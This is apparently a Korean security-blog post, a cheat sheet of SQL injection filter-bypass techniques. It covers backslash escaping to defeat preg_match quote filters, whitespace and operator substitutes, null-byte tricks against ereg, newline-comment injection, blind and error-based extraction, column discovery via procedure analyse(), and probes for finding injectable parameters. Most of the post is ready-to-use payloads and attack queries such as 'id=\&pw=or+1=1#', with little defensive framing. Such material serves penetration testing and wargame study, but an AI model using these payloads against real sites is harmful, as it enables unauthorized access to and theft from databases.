1. Preg_match 우회
- \ : \ 앞에 오는 문자의 경우 특수문자가 아닌 일반문자로 처리하게 됨
- preg_match('/'/'); 여기서 ' 문자를 필터링 함
- www.example.com?id=admin&pw=test 폼에서 인젝션 공격을 수행한다고 하면
- www.example.com?id=\&pw=or+1=1# 이런식으로 공격하면 되는데
- $_GET['id'] = \ / $_GET['pw'] = or+1=1#
- 쿼리를 살펴보면 아래와 같다
- 정상쿼리 : select id from userdb where id='admin' and pw='test';
- 공격쿼리 : select id from userdb where id='\' and pw=' or 1=1#'
2. 공백우회
- /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20
3. =, like, and 우회
- = : like, between, in, instr
- != : <>
- or : || (%7c%7c)
- and : && (%26%26)
4. ascii 우회
- ord, hex
5. 싱글쿼터
- char, "
6. ereg, eregi 우회
- %00 : 널바이트 감지 시 뒷문장 검사 안함
7. substr
- right(left('abc',1'),1),id>0x313131313131
- mid()
8. replace, replaceAll
- 'admin' -> 'adadminmin'
9. numeric char filter
- 0 : '!'='@'
- 1 : '!'='!'
10. 주석
- #,--, : no=1; %00
11. 주석을 이용한 SQL Injection
- '#'의 주석범위는 1Line -> 1Line은 %0a로 내릴수 있음
- select test from test where id='abc' # %0a or 1=1 #
12. Blind Injction 시 sub query의 결과로 여러개 row 발생시
- max(col), min(col), group_concat(col)
13. 테이블명, 컬럼명을 알아야 할때
- select test from test where id='admin' and pw='test' procedure analyse();
- limit 2,1 등과 함께사용해서 필요한 컬럼명을 한줄로 표현
14. Error based sql injection
- 0xfffffffffffff*0xfffffffffffff 시 Integer 범위 초과로 에러 발생
15. MultiByte Character SQL Injection
- 'test' 필드 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(UTF-32 등)일때 다음과같은 방법으로 SQL Injection 수행
- substr(hex(test),1,1)=0x41
- MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다
16. SQL Injection이 먹히는지 알아볼 때
- '(싱글쿼터)를 썼을 때 에러가 나는지
- ' and '1'='1 , ' and '1'='2 를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
- ' or '1'='1 을 썼을 때 정상적으로 출력되는 지
- 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지
- '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )
- 주석을 쓸때는 #(%23), -- (--%20), %0a
'2. Information Security > 1. Insight' 카테고리의 다른 글
8. 업로드 공격 우회 (0) | 2020.02.13 |
---|---|
7. Filtering 우회 2 (0) | 2020.02.13 |
5. Filtering 우회 (0) | 2020.02.05 |
4. SQL INJECTION CHEAT SHEET (SQL 인젝션 치트 시트) (0) | 2020.02.04 |
3. XSS (0) | 2020.01.13 |
댓글